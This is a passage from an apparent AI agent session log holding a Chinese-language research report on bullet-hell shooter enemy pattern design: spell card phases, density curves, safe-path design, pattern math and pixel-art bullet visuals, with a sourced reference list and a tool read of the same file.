**来源与规则**:符卡(Spell Card,スペルカード)由《东方红魔乡》首次引入(ZUN 自述为\"比其它系统更早面世\"而开发本作)。符卡规则 = \"给绝技命名并宣言\"的决斗规则:宣言、约定符卡张数、击破对方全部符卡即胜。\n- **敌方符卡流程**:\n 1. **非符(nonspell)**:Boss 的普通攻击,一般耐久条分格为单位;\n 2. **符卡宣言**:血量削到阈值时 Boss \"念符\"(宣言),画面切换为该角色专属 Spell Card 背景,进入符卡攻击;\n 3. **符卡红利(Spell Card Bonus, SCB)**:无 Miss 无 Bomb 击破符卡可获得额外分数,随时间递减;擦弹可增加红利;\n 4. **时间限制**:每张符卡有残余时间显示,超时 Boss 自动进入下一波(此时无法收取符卡)。\n- **符卡变体**:\n - **增强型符卡**:随血量削减,弹幕密度/速度逐渐增加,越到后面越难(强化难度的天然手段);\n - **时效型/时限型符卡**:耐久无法直接削减,玩家必须\"死守到时间结束\"才能收取(生存符卡 survival card;如《永夜抄》部分符卡);\n - **Last Spell / Last Word / Overdrive**:残机为零或特定条件下的最终符卡(Extra/隐藏挑战用)。\n- **难度变化**:同一符卡在 Easy/Normal 与 Hard/Lunatic 下常有**不同名字**(Higher 难度名字更华丽),弹幕排列与颜色也会变化(Wikipedia)。\n- **《魔理沙的魔法书》对符卡的分类**(Wikipedia):演剧型(重视觉效果、大量非瞄准装饰弹)、奴隶型(用使魔/人偶/式神攻击)、小虫型(细碎多彩、弱妖怪)、压迫型(限制自机移动范围)、兴奋剂型(强化自身)。\n\n**对本项目的启示**:阶段(Phase)不必按血量硬切,可以模仿\"非符→符卡宣言→符卡\"的节奏:普通阶段保持低密度教学,宣言瞬间清场 + 特效 + 显示符卡名,制造\"仪式感\";生存符卡(时限型)能复用已有图案、只改目标(熬过 X 秒),开发成本低、演出效果好。\n\n### 3.2 弹幕密度控制\n\n- **密度不是越多越好**:'curtain fire'不等于无限堆弹;密度阈值之后,可读性(readability)崩坏,玩家感到\"不公平\"而非\"华丽\"(note.com 3-2:设计缝隙而非密度)。\n- **难度曲线**:\n - 报告参考\"轻/重阶段交替\"(Danmaku Unlimited 3 采用东方式 light/heavy 交替:轻阶段让玩家喘息与移动,重阶段密集压迫,来源 Forgotten Worlds 采访);\n - 每个 Boss 阶段内\"缓慢升级\":起点是玩家已见过的简单变体,随后逐次加大子弹量/缩小缝隙/提高速度(SHMUP Workshop 03:slow escalation)。\n - 不同难度等级通过\"同一图案改密度/速度/名字\"来分层(东方难度差异,Wikipedia)。\n- **可控变量**(可做成运行时调参工具):子弹数、速度、发射间隔、扇形张角、环形偏转、随机种子、加层数。\n- **Cave 的 rank 系统**:根据玩家当前表现(残机/雷/击破率)动态调整弹幕强度——可选的高级机制(来源:TimeExtension;Boghog 亦建议用\"credit feed 降 rank\"来练习 Boss)。\n\n### 3.3 安全路径设计(Safe Zones / 缝隙 / 路线)\n\n弹幕的本质是\"缝隙谜题\",安全路径是设计对象而非巧合:\n\n- **微闪避(micrododging)**:在密集子弹的缝隙间小幅移动穿行(Sparen A3 / maribelhearn / Boghog);\n- **宏闪避(macrododging)**:对整个弹幕编队进行大幅度绕行、找到整块安全区(safe spot / safespot——\"内部完全不会被击中(或近于)的点/区域\",maribelhearn 术语);东方中 BOWAP、咲夜道中非符等是经典 safespot(maribelhearn Beginner Guide / jargon);\n- **引弹(streaming / misdirection)**:瞄准弹只有在玩家\"把弹流引到别处\"时才安全——设计上,持续的瞄准弹迫使玩家移动并制造\"下一波更难\"的位置压力(SHMUP Workshop 03:被满屏引导到尴尬位置会削弱后续应对;maribelhearn:misdirection 常在数秒空隙内完成);\n- **路线(routing)**:玩家在静态/半静态弹幕中规划的具体移动路径,是\"设计缝隙\"的最终产物;\n- **设计检查表**(综合 note.com 3-2 与 SHMUP Workshop 03):\n 1. 画图时刻意留下**可见的缝隙**(gap width > 判定点 + 子弹判定 + 误差余量);\n 2. 区分\"安全点型\"(原地不动即可)与\"移动型\"(需要持续引弹)两类安全路径,交替使用;\n 3. 用瞄准弹/区域封锁弹**主动关闭**上一轮的安全点,防止玩家蹲坑(area denial,SHMUP Workshop 03;以及\"anti-camping:避免玩家龟缩\"的 Boss 设计目标);\n 4. 每次重复图案时用随机种子旋转相位,避免出现固定盲区(Sparen A2)。\n\n### 3.4 时间限制与弹幕压力\n\n- **时限符卡**:上面已述(生存符卡)。在设计上,时限 = \"不需要 DPS 检验,纯粹考验躲避\",适合放在 Boss 战中段作为节奏变化点(东方文花帖/弹幕天邪鬼等衍生作品以\"时限+道具\"为核心玩法)。\n- **压力节奏(tension-release loop)**:\n - 每个波次设计\"入口压力→主压力→释放\"三段式:先预警(低压力、可读),再高压(核心躲避),最后 1–2 秒\"突然变简单\"给玩家胜利快感(Boss Up YouTube:survive 之后的那 1 秒喘息极具成瘾性);\n - 压力来源可以分层:视觉压力(满屏)、逻辑压力(瞄准)、时间压力(超时/残机消耗)。\n- **Boss 战的五个设计要素**(来源:Game Developer《Video Game Boss Design for Shmups》):\n 1. **难度 Difficulty**:首关 Boss 必须让\"认真玩的人\"能过;Boss 攻击应与关卡已有敌人/道具主题连贯(\"进化\"而非\"空降\");\n 2. **多样性 Variety**:Boss 血量条分段显示图案边界;同一段血内可循环多个攻击,且每次攻击要求不同的躲避/输出策略;\n 3. **时长 Length**:Boss 战时长与关卡时长成比例;中 Boss 不应比关底 Boss 长;把\"信息不对等的假 Boss → 真 Boss\"当一次性惊喜;\n 4. **回报 Pay-off**:Boss 战末尾(濒死前)往往\"倾泻所有弹幕\"制造最终高潮(Mushihimesama、ESPGaluda2、Ikaruga 第 3 章 Boss 都是例子);好回报 = 节奏铺垫 + 假危机;\n 5. **角色 Character**:爆炸方式、受击反馈、蓄力/宣言动画、音效都要符合角色性格——这是\"为什么这个 Boss 挡在这里\"的叙事答案。\n\n### 3.5 东方式 Boss 战结构参考(综合)\n\n1. 开战:非符 1(轻、教学、环/扇)\n2. 符卡宣言(换背景、念符名)→ 符卡 1(主题图案,时间限制,收取奖励)\n3. 非符 2(中压,引入瞄准/引弹)\n4. 符卡 2(组合图案,增强型:随血量变密)→ ……\n5. 濒死:Last Spell / 最终符卡(最强+最华丽)→ 消弹演出(击破瞬间子弹变道具)\n6. (挑战层)隐藏:Extra 时限符卡 / 弹幕天邪鬼式\"看似不可能\"组合\n\n---\n\n## 4. 数学原理与实现\n\n### 4.1 基础参数体系\n\n任何一个弹幕模式都可由以下参数组合生成(来源:note.com 第 4 章;o3de-diorama 参数表):\n\n| 参数 | 作用 | 备注 |\n|---|---|---|\n| 发射位置 | 敌中心/屏幕边缘/多炮塔 | 决定子弹出生点阵型 |\n| **发射角度** | 固定 / 旋转 / 瞄准 / 随机 | 最易出效果 |\n| 子弹数量 | 密度 | 环形=一圈数量、扇形=扇内数量 |\n| 发射间隔 | 节奏 | 决定\"流\"还是\"波\" |\n| 子弹速度 | 难度与观感 | 快=危险、慢=可读 |\n| 加速度 | 节奏与曲线 | 减速弹、加速弹 |\n| 角速度 | 螺旋、转向弹 | 曲线弹的核心 |\n| 寿命 | 消失时机 | 滞留弹=长寿命 |\n| 分裂条件 | 时间/距离/位置 | 分裂弹 |\n| 颜色/大小 | 可读性与美观 | 颜色=属性编码 |\n\n### 4.2 角度与排列公式(常用)\n\n- **环形**:`angle_i = base + i·360/n`,`v = speed·(cos, sin)`(2.1 节)\n- **扇形**:`angle_i = aim - spread/2 + i·spread/(n-1)`(2.3 节)\n- **瞄准**:`angle = atan2(py - ey, px - ex) + 偏移`(瞄准扇 = 在其两侧均匀分布)\n- **网格**:对 `(i,j)` 行列给固定 x/y 间距\n- **正弦波**:`x 或 y += A·sin(ω·t + φ)`(2.10 波型)\n- **花瓣/星形**:`angle_i = base + i·(360/petal) + 相位`,再由花瓣内多颗子弹构成瓣形\n- **规律+微扰**:`angle = base + i·even + sin(t)·fluct`,`speed = base + random(-δ,δ)`(note.com 3-1)\n- **周期循环**:如\"每 60 帧一波大浪、每 15 帧小弹、每 4 发反转角度\"制造音乐性节奏(note.com 3-4)\n\n### 4.3 速度变化(加速/减速弹幕)\n\nDanmokou(DMK 引擎)归纳的常见运动(来源:Danmokou Tutorial 6):\n\n1. 恒定速度直线(默认)\n2. **直线加速**(`v(t) = v0 + a·t`,可正可负:赶人弹/诱导弹)\n3. 速度在慢/快之间周期切换\n4. 两位置间往返\n5. 极坐标运动(径向+角速度)\n6. 波浪线(squiggly)\n7. 旋转运动方向(追踪/转向)\n8. 相对另一运动物体运动(随从弹/母舰子机)\n9. 任意参数方程轨迹\n\n工程提示:DMK 把运动建模为**函数**(`rvelocity(px(3 + sine(4, 0.6, t)))`),而不是\"速度/加速度两个标量\",从而任意轨迹即插即用;其子弹更新循环一次函数调用即可支撑 10 万以上子弹 @4K 120FPS(DMK 官方数据)。\n\n### 4.4 曲线弹幕(转向 / 极坐标 / 贝塞尔)\n\n- **限速转向(追踪弹)**:每帧把朝向转向上限内的目标方向(2.6 节公式);\"转向弱一点更好躲也更好看\"(note.com 2-13)。\n- **极坐标螺旋**:`r(t)=a·t, θ(t)=b·t` → 直角坐标 `x = cx + r·cosθ, y = cy + r·sinθ`(DMK 示例 `polar(2*t, 80*t)`)。注意极坐标绕圈时转速均匀性需要弧长参数化,DMK 作者自述\"没有闭式解,需迭代求解\"。\n- **贝塞尔曲线(弯曲弹)**:二次贝塞尔 `B(t) = (1-t)²·P0 + 2(1-t)·t·P1 + t²·P2`,每帧采样 t∈[0,1] 作为下一位置(通用图形学做法,非本次调研单一来源;用于\"弧形弹道/水漂弹\")。三次贝塞尔 `C(t)` 用于更复杂的 S 形弹道。\n- **正弦扰动**:在固定方向上叠加正弦横向偏移,成为\"S 形\"弹(Unity 论坛实现示例)。\n- **角度退化/曲线激光**:东方中存在\"准激光\"(弧形激光、曲线灵弹),判定比直线激光大(thwiki 弹型介绍)——曲线弹道要么给足预警,要么减小判定。\n\n### 4.5 性能实现建议\n\n- **对象池(object pool)**:固定容量池 + 硬上限,防止无限生成(o3de-diorama 的 `Max Bullets` 硬上限设计)。\n- **批量渲染**:同一纹理的整组子弹一次 draw call(sprite batch / 合批)。\n- **碰撞**:每颗活子弹对目标碰撞层做一次重叠查询,目标层只放玩家/护盾几个碰撞体,几百颗子弹也便宜(o3de-diorama)。\n- **功能分层**:发射器(emitter)只管几何与碰撞,伤害/计分留在游戏侧(o3de-diorama 的分工建议)。\n\n---\n\n## 5. 像素风格下的弹幕视觉设计\n\n### 5.1 子弹形状库\n\n**核心原则**:'shmup 最核心的是弹幕的可读性(visibility)——在任何背景下都能被读出'(slynyrd Pixelblog 31)。形状即语义:**形状要匹配行为**(Sparen Guide A2 / Pixelblog 32:箭形弹配直线飞行才合理;追踪弹要旋转指向的运动方向)。\n\n**东方参考形状清单**(来源:thwiki《东方全弹型介绍与中弹判定分析》、maribelhearn 子弹类型表、Steam Touhou Bullets Model Pack):\n\n| 类别 | 形状 | 用途/特点 | 像素建议 |\n|---|---|---|---|\n| 圆形系 | 小玉(带圈/不带圈)、中玉、大玉(空心) | 通用基础弹;大玉实际判定仅中心空洞 | 6–10px 圆 + 描边;大玉用\"中空环\"贴图配透明中心 |\n| 粒状 | 点弹、米弹 | 点弹最小(<判定点),米弹为最高发弹量弹型之一 | 3–4px 点、8×4 米粒;米弹风速后有变短/判定变大差异 |\n| 尖形 | 针弹/箭弹/晶弹 | 速度感、方向感最强 | 长 8–14px 的三角/箭头,尖端高亮 |\n| 刀剑形 | 刀弹、剑弹、苦无 | 角色辨识度高(如咲夜/蕾米) | 剑身+尖端高光;前端无判定所以略细 |\n| 星光形 | 星弹(大/小)、光弹 | 华丽、魔法感;光弹判定偏大 | 4 角/5 角星 + 旋转动画 |\n| 特殊形 | 蝶弹、心弹、音符弹、钱弹、鳞弹(带\"翼\") | 角色主题、装饰 | 2 帧扇翅/跳动动画;鳞弹判定仅中心点 |\n| 火焰/流体 | 炎弹、水滴/滴弹 | 不规则 | 2–3 帧沸腾动画,\"躲前端\"语义 |\n| 激光 | 线段激光/射线激光、弧形激光 | 封路、视觉冲击 | 预警线(细)→ 实体(粗)2 帧过渡;线身描边 |\n\n**东方判定参考**(thwiki):多数弹\"判定 < 视觉\":大玉只有中心空洞有效、鳞弹只有中心点、剑弹前端无判定、激光靠预警线判定;当\"准激光/粥弹/核弹\"等判定欺诈弹出现时,需要玩家另行学习——像素风下**不要滥用判定欺诈**,默认\"所见即所判\"更公平。\n\n### 5.2 颜色编码\n\n- **基础原则**:子弹是屏幕上最鲜艳的元素;用高饱和色与背景拉开对比;颜色可传达属性/机制语义(slynyrd;note.com 3-3)。\n- **按属性/危险度编码**示例:\n - 红/橙 = 高速、致命、普通攻击;\n - 蓝/青 = 特殊判定、特殊移动(如反弹/曲线/激光);\n - 紫/白 = 装饰弹、非致命、演出用;\n - 绿 = 通常用于玩家/友方,避免敌方子弹大量用绿(语义混淆)。\n - (以上为常见实践惯例,属综合常识,非单一文献结论。)\n- **注意**:颜色要与背景/特效区分(note.com 3-3);考虑红绿色盲——**不要只靠红/绿区分要害**,同时用形状/大小/闪烁区分。\n- **同波同色**:同一次发射的子弹用同一色系,方便玩家把\"一波子弹\"当整体读(note.com 3-3:子弹类型或危险度不同则换色)。\n\n### 5.3 子弹大小与可躲避性\n\n- **判定点 vs 视觉**:自机 hitbox 远小于机绘(Cave 1px hitbox、DoDonPachi 子弹判定约直径 20%,来源 TimeExtension/Shmups Wiki);聚焦模式时在判定点处显示小红点让玩家能\"穿缝\"。\n- **子弹尺寸**:越大越可见但占屏;太小(<判定点)会\"消失\"且威胁感弱。建议子弹视觉 6–16px 常见、点弹 3–4px、激光不限长(slynyrd:子弹应大小多样,通常越大伤害越高)。\n- **缝隙设计**:安全缝隙宽度 = 玩家判定 + 子弹判定 + 玩家操作误差(微闪避用低速聚焦移动保证精度);设计时给缝隙留 ≥2–3px 冗余(工程经验法则)。\n- **密度 vs 大小**:子弹越小越能密(给留出视觉通道);同屏密度高时,小弹+弱判定(空心大玉)是\"看起来吓人、实际可穿\"的经典手法(thwiki 大玉示例)。\n\n### 5.4 发光/粒子效果在像素风格中的处理\n\n- **描边(outline)**:几乎必备,最好**双层描边**(亮色外圈+暗色内圈)以保证任何背景下可读;pixel 风格常用白描边与其它精灵(深描边)区分(slynyrd)。\n- **闪烁/双帧动画**:两帧交替即可做出\"呼吸/危险脉冲\";对比度越大越激烈,但太强会难以追踪快速弹(slynyrd)。\n- **发光**:像素风发光 = 亮色核心 + 1 层半透明同色光晕(加色混合 additive)或\"外扩 1px 亮描边\";避免真实 bloom 破坏像素感。\n- **粒子**:爆炸/火花/花瓣用\"范围+偏置\"的受控随机(note.com 2-12);粒子可叠加在弹幕上做纹理而不是独立威胁。\n- **脉冲缩放**:呼吸/脉动(expanding-contracting)可让呆滞的圆弹\"活起来\"(slynyrd 的 rotation/motion 建议)。\n- **消弹特效**:Boss 符卡击破瞬间,全屏子弹转为道具/星点,是东方色的标志性演出(Touhou Wiki Items:子弹在 Boss 攻击结束/未超时被打掉时转为星道具;消弹 cancel 亦为计分要素,maribelhearn 术语)。\n\n### 5.5 弹幕层级的视觉优先级\n\n绘制顺序(从底层到顶层,工程惯例 + Reddit shmupdev 设计 101 摘要:\"敌方子弹永远画在其它对象之上\"):\n\n1. 背景/场景层\n2. 地面敌人/可破坏物\n3. 道具、点数\n4. 玩家射击、爆炸特效(半透明)\n5. **敌方子弹(最高优先级之一,必须覆盖玩家机绘)**\n6. 玩家机绘 + 判定点指示(聚焦时)\n7. UI(血量/符卡名/时间)\n\n理由:玩家需要\"先读弹,再读自己\";若子弹被机绘/特效遮挡,就会产生\"判定杀(clipdeath)\"的挫败感(maribelhearn 术语)。\n\n### 5.6 像素风格弹幕设计清单(落地用)\n\n- [ ] 每种模式指定**1 个主色 + 1 种子弹形状**(勿两种都在变);\n- [ ] 危险弹用暖色+闪光,装饰弹用冷色/暗色调;\n- [ ] 所有敌方子弹带描边(建议双层),且在玩家机绘之上绘制;\n- [ ] 直线/追踪/曲线弹使用**方向性贴图**(箭头/针/刀)并随角度旋转;\n- [ ] 预警:激光先细线→粗线;分裂弹先停顿+蓄力闪光;大威力攻击让 Boss 本体发光(note.com 3-5);\n- [ ] 判定 < 视觉:默认简化判定(圆/椭圆),为\"大玉/鳞弹\"这类特殊判定做贴图注释(空心=可穿);\n- [ ] 像素分辨率建议在 320×180~640×360 区间定基准(slynyrd 建议 480×270),保证单个子弹仍有足够像素表达细节;\n- [ ] 每张符卡/阶段限定子弹色彩数(建议 2–3 色),避免像素噪点化。\n\n---\n\n## 6. 对本项目(像素风弹幕游戏)的落地建议汇总\n\n1. **词库起步**:环形 / 螺旋 / 扇形 / 直线(流+墙)/ 瞄准扇 / 受控随机 / 分裂弹 / 激光(带预警)/ 滞留结界,共 9 个基础模式,先用\"参数化发射器\"(Count/Aim/Spread/Spin/Speed/FireRate/Lifetime)实现(参照 o3de-diorama 的参数表),Boss 脚本只做\"模式序列 + 转场\",成本最低。\n2. **难度曲线**:按\"非符(轻)→ 符卡(重)→ 非符 → 符卡 …\"排布;每张符卡 = 1 主题图案 + 增强型变密 + 时限生存变体(一套图案三种玩法)。\n3. **公平性**:所有危险性一定要有预警(telegraph);缝隙 > 判定 + 冗余;颜色+形状双通道编码。\n4. **像素视觉**:双层描边 + 双帧闪烁 + 加色发光小光晕 + 同波同色 2–3 色限制 + 子弹层级最高。\n5. **性能**:对象池 + 合批 + 简化碰撞层(目标只放玩家/护盾),确保几百到几千颗子弹稳定 60FPS。\n\n---\n\n## 7. 信息来源与置信度说明\n\n按信息诚实原则,对所有关键结论标注来源与置信度:\n\n**(A)本轮调研直接引用的网页来源(置信度高,可复核):**\n\n1. npaka,《A Summary of 15 Beautiful Bullet Hell Patterns in Danmaku Shooters》(note.com)——15 种模式分类、组合配方、参数与设计 tips:https://note.com/npaka/n/n5d38b7d84173?hl=en\n2. Sparen's Danmaku Design Studio,Guide A2(角度类型、方向性子弹、心理过滤、danmaku vs 普通 STG)、Guide A3(墙的定义、微/宏闪避、Utsuho 例子):https://sparen.github.io/ph3tutorials/ddsga2.html 、ddsga3.html\n3. Danmokou(DMK 引擎)Tutorial 6(函数式运动系统、极坐标螺旋公式、性能数据、贝塞尔/参数方程讨论):https://dmk.bagoum.com/docs/articles/t06.html\n4. Wikipedia《符卡》(符卡规则、宣言、红利、时效/增强型、Last Spell/Last Word/Overdrive、难度差异、魔理沙魔法书分类):https://zh.wikipedia.org/zh-hans/符卡\n5. thwiki/东方吧Wiki《东方全弹型介绍与中弹判定分析》(小玉/米弹/点弹/大玉/光弹/针弹/鳞弹/剑弹/炎弹/激光/核弹/粥弹及判定细则):https://touhou8.thwiki.cc/index.php?edition-view-1281-1.html=\n6. maribelhearn 《Touhou Community Jargon》(子弹类型表、micro/macro dodge、safespot、streaming、misdirection、routing、cancel、clipdeath 等术语):https://maribelhearn.com/faq/jargon(含中文版)\n7. maribelhearn Beginner Guide(微/宏闪避、流弹引弹、safespot 举例 BOWAP 等):https://wiki.maribelhearn.com/wiki/Beginner_Guide\n8. slynyrd Pixelblog 31《Shmup Design Part 1》(像素子弹设计:颜色/大小/形状/描边/闪烁/旋转、分辨率建议);Pixelblog 32(外观与行为匹配):https://www.slynyrd.com/blog/2020/12/14/pixelblog-31-shmup-sprite-design\n9. Game Developer《Video Game Boss Design For Shmups》(Boss 五要素:难度/多样性/时长/回报/角色;健康条分段;Cave 例子):https://www.gamedeveloper.com/design/video-game-boss-design-for-shmups\n10. SHMUP Workshop 03《Bullet Pattern Design》(模式角色:警告/位移/区域封锁/最终引导;slow escalation;微宏闪避;CAVE tracking 做法;Boss 设计目标):YouTube ArZRZSYICLo\n11. TimeExtension《CAVE Story: The History of DonPachi》(命中率 20% 判定、自爆弹、rank 系统、1px hitbox);Shmups Wiki《CAVE》词条(1px 判定、游戏清单):https://www.timeextension.com/features/cave-story-the-history-of-donpachi-the-shmup-series-that-changed-everything\n12. Forgotten Worlds《A guide to Danmaku Unlimited 3》(脚本化弹幕、Touhou 式轻/重阶段交替):https://www.forgottenworlds.net/bullet-hell-danmaku\n13. Zen of the SHMUP(DonPachi 系列=图案+记忆、Mushihimesama=快速集中火、Cave 组合):https://richardschupp.wordpress.com/tag/the-zen-of-the-shmup\n14. o3de-diorama《24-bullet-patterns.md》(Ring/Fan/Spiral 参数表、对象池、合批、碰撞层设计):https://github.com/nickschuetz/o3de-diorama/blob/main/Docs/howto/24-bullet-patterns.md\n15. Boghog's bullet hell shmup 101(bullet sealing、micro/macro dodge 补充):https://shmups.wiki/library/Boghog%27s_bullet_hell_shmup_101\n16. Reddit r/shmupdev《BULLET HELL SHMUP DESIGN 101》(\"敌方子弹永远绘制在其他对象之上\"等原则,仅经搜索摘要获取,置信度中):https://www.reddit.com/r/shmupdev/comments/13w730k/\n17. 其它:Summer Engine(判定点/聚焦/擦弹术语)、Touhou Wiki Items(消弹转星道具)、Steam Touhou Bullets Model Pack(子弹形状清单)、Ted Lim《Day 49》(sin/cos 扇面公式)等。\n\n**(B)置信度说明:**\n\n- 上述 (A) 列来源中的具体论断:**我很确定**它们出自对应来源(可直接复核)。\n- \"经典游戏例子\"中标注为\"常识\"的条目(例如\"东方各作螺旋遍地\"\"芙兰朵露星弧破碎\"等),来自模型通用知识,**没有在本轮调研中逐条核实**,读者如需引用请自行在对应游戏攻略中确认。\n- \"像素建议\"\"设计检查表\"\"落地建议\"等小节为**基于上述来源的综合工程建议**(合理推断,非文献原文),置信度中上,请结合游戏实测调整。\n- 反弹弹(2.7)在东方系纵版弹幕中近乎缺席是**常识判断**;调研资料中未找到专门文献,如要使用建议先做原型验证。\n\n---\n\n## 附录 A:参考链接汇总\n\n- https://note.com/npaka/n/n5d38b7d84173?hl=en (15 种弹幕模式)\n- https://sparen.github.io/ph3tutorials/ddsga2.html / ddsga3.html (弹幕设计工作室指南)\n- https://dmk.bagoum.com/docs/articles/t06.html (Danmokou 运动函数哲学)\n- https://zh.wikipedia.org/zh-hans/符卡 (符卡系统)\n- https://touhou8.thwiki.cc/index.php?edition-view-1281-1.html= (东方全弹型介绍与判定分析)\n- https://maribelhearn.com/faq/jargon (东方社区术语与子弹类型)\n- https://wiki.maribelhearn.com/wiki/Beginner_Guide (躲避策略入门:微/宏闪避、引弹、安全点)\n- https://www.slynyrd.com/blog/2020/12/14/pixelblog-31-shmup-sprite-design (像素弹幕设计)\n- https://www.gamedeveloper.com/design/video-game-boss-design-for-shmups (STG Boss 设计)\n- https://shmups.wiki/library/CAVE (CAVE 公司与其游戏)\n- https://www.timeextension.com/features/cave-story-the-history-of-donpachi-the-shmup-series-that-changed-everything (DonPachi 历史)\n- https://richardschupp.wordpress.com/tag/the-zen-of-the-shmup (Cave 弹幕风格对比)\n- https://www.forgottenworlds.net/bullet-hell-danmaku (Danmaku Unlimited 3 访谈)\n- https://github.com/nickschuetz/o3de-diorama/blob/main/Docs/howto/24-bullet-patterns.md (发射器实现与参数)\n- https://shmups.wiki/library/Boghog%27s_bullet_hell_shmup_101 (bullet hell 设计 101)\n- https://www.youtube.com/watch?v=ArZRZSYICLo (SHMUP Workshop 03 弹幕模式设计)\n- https://www.youtube.com/watch?v=zEPgFaIpa6o (Boss 设计 Week 25:螺旋/双螺旋实现)\n- https://www.youtube.com/watch?v=To5rOl6pn08 (Boss 战设计:攻击前摇、防龟缩)\n- https://tedlim-65557.medium.com/day-49-bullet-hell-pattern-2d-space-shooter-series-c91e4eccad7c (sin/cos 扇面数学)\n- https://www.summerengine.com/ai-bullet-hell-maker (判定点/聚焦/擦弹/密度调参)\n\n*报告完*\n```", "timestamp": "2026-08-23T12:34:19.611162", "message_id": "msg_29219fc6e267498dbbb597718938462a", "metadata": {"tool_payload": {"success": true, "type": "read", "path": "research/bullet_patterns/bullet_pattern_research.md", "encoding": "utf-8", "max_chars": 50000, "truncated": false, "content": "# 弹幕射击游戏(STG / Bullet Hell)敌方弹幕模式调研报告\n\n> **调研目的**:为像素风格的弹幕射击游戏(STG / Bullet Hell)提供敌方弹幕(bullet pattern)设计的系统性参考。\n> **调研方式**:网络搜索 + 网页资料提取(来源见第 7 章)。\n> **调研时间**:2026-08-23\n> **交付目录**:`research/bullet_patterns/`\n\n---\n\n## 0. 摘要(TL;DR)\n\n- 弹幕(danmaku / 弾幕,字面义\"弹幕幕帘\",西方称 bullet hell / curtain fire)与普通 STG 的本质区别**不是子弹数量**,而是\"**整个屏幕都是弹幕的舞台**\"——大量子弹不是为了全部命中玩家,而是组成可观赏、可读、有图案(pattern)的\"幕帘\",玩家在其中寻找缝隙穿行。多数子弹在诞生之初就注定打不到玩家(Sparen's Danmaku Design Studio, Guide A2)。\n- 经典弹幕模式可用\"**规律 + 微扰**\"统一描述:先排布几何图案(环形、螺旋、扇形、直线、激光、网格等),再叠加少量可控随机(角度/速度抖动),并始终**以\"设计缝隙\"为核心**,而不是\"设计密度\"。\n- Boss 战的核心设计杠杆:**阶段(Phase/符卡)转换、节奏(轻/重交替与紧张-释放)、密度控制(难度曲线)、安全路径/安全点(safe zone/safespot/routing)、公平性信号(预警 telegraph)**。\n- 实现上只靠 5 个基础参数即可组合出绝大多数模式:**发射角度、子弹数量、发射间隔、子弹速度、加速度(角速度)**;曲线弹幕依赖角速度转向、极坐标/参数方程(如螺旋 `r=a·t, θ=b·t`)、贝塞尔曲线或正弦扰动。\n- 像素风格下,弹幕可读性(readability)压倒一切:**高饱和颜色 + 描边(尤其双层描边)+ 闪烁/呼吸动画 + 明确的子弹形状语义 + 绘制层级(敌方子弹永远最上层)**;并让判定(hitbox)远小于视觉尺寸。\n\n---\n\n## 1. 背景认知:弹幕射击与普通 STG 的区别\n\n| 维度 | 普通 STG | 弹幕射击(Bullet Hell) |\n|---|---|---|\n| 子弹目的 | 命中玩家 | 大量子弹作\"装饰 + 制造缝隙谜题\",很多子弹故意不打玩家 |\n| 屏幕利用 | 子弹从上方来袭 | 全屏都是舞台,子弹可从任何方向/任何规律出现 |\n| 判定 | 机体整体判定 | 微型判定点(hitbox),东方等游戏中判定远小于机绘大小 |\n| 玩家速度 | 较快 | 有\"低速聚焦模式\"(focus/slow mode)用于精确微调 |\n| 美学 | 战场感 | \"弹幕舞蹈\",图案本身有独立观赏价值 |\n\n关键概念:\n\n- **幕帘火(Curtain fire)**:'curtain fire'精确描述了弹幕的本质——用弹幕填满一片空间形成\"幕帘\",玩家面对的是\"图案\",而不是\"几发子弹\"(Sparen Guide A2)。\n- **判定点(Hitbox)**:子弹只有碰到自机中心的微小判定点才算命中。Cave 的《虫姬后传》《怒首领蜂大复活》甚至有 1 像素判定;DoDonPachi 系列子弹判定通常只占子弹直径约 20%(来源:TimeExtension CAVE 历史长文、Shmups Wiki CAVE 词条)。\n- **擦弹(Graze)**:子弹掠过判定点外围的\"擦弹判定圈\"得分,鼓励玩家贴着子弹走(Summer Engine、maribelhearn 术语表)。\n- **心理过滤(Mental filtering)**:高手玩家会自动忽略大量\"注定打不中自己\"的子弹(例如环形弹幕中飞向两侧/上方的子弹),只对逼近自己的弹道做出反应——这是弹幕\"装饰性子弹\"能成立的心理学基础(Sparen Guide A2)。\n\n---\n\n## 2. 经典弹幕模式分类\n\n> 本节以任务要求的 9 类为主干(2.1–2.9),然后在 2.10 补充调研中发现的其它常用模式。每个模式给出:**名称 / 视觉描述 / 数学与实现要点 / 经典游戏例子 / 像素风格设计建议**。\n> 注:任务要求的 9 类与社区常用分类(如 note.com 归纳的 15 种模式)并非一一对应,本报告将两类分类体系做了映射与合并。\n> 经典例子部分,凡未在本轮调研资料中明确出现的,均标注为\"常识(通用认知)\",置信度说明见第 7 章。\n\n### 2.1 环形弹幕(Ring / Circle Burst,日语\"轮弾/円形弾\")\n\n- **视觉描述**:从中心点向 360° 均匀放射一圈子弹,呈涟漪/烟花/魔法阵状。变化包括:扩展环(从小半径环向外扩)、收缩环、多重同心环、旋转环、分裂环(飞到中途爆成更多子弹)。(note.com 2-8 Rings)\n- **数学与实现要点**:\n ```\n n = 子弹数; base = 基准角\n for i in 0..n-1:\n angle = base + i * (360° / n)\n vx = speed * cos(angle); vy = speed * sin(angle)\n ```\n 若每帧/每次发射让 `base` 增加固定角,环就\"旋转/缭乱\"起来。(o3de-diorama 文档:Ring 参数含 Count、Aim、Speed、Fire Rate、Spin Per Shot;Ted Lim / GameMaker 论坛同款公式)\n- **经典游戏例子**:东方系列几乎所有 Boss 都有环弹(常识);琪露诺的冰符「Icicle Fall -Easy-」的冰柱环是知名的入门环弹(Sparen Guide A2 以其为例讲述固定角);环形常用作 Boss 战开场或\"轻阶段\"的通用压迫弹(note.com 入门 Boss 组合)。\n- **像素风格设计建议**:环弹数量多且对称,适合用**小尺寸圆形弹**(6–8px)保证低视觉占用;用\"带圈的小玉\"(外圈描边)区分装饰环和危险环;旋转环可给子弹加 1–2 帧的旋转动画增强\"轮转感\"。\n\n### 2.2 螺旋弹幕(Spiral)\n\n- **视觉描述**:发射角连续旋转,子弹留下螺旋尾迹,像银河/风车/玫瑰。变体:单螺旋、多螺旋、顺逆时针双螺旋交叉、不同色相/速度的螺旋。(note.com 2-2 Spiral)\n- **数学与实现要点**:\n - 离散式:每次发射一个环,环的基准角 += 每发旋转角(Spin Per Shot),即\"每发转一点\"(o3de-diorama)。\n - 参数方程(连续式):极坐标 `r = a·t`、`θ = b·t`,则 `x = cx + r·cos(θ)`,`y = cy + r·sin(θ)`(来源:Danmokou Tutorial 6 的螺旋示例 `polar(2*t, 80*t)`)。\n - 替代实现:让发射器父对象缓慢旋转(Ted Lim——\"空对象 + 3 个子发射点 + 旋转父对象即可做出螺旋\")。\n- 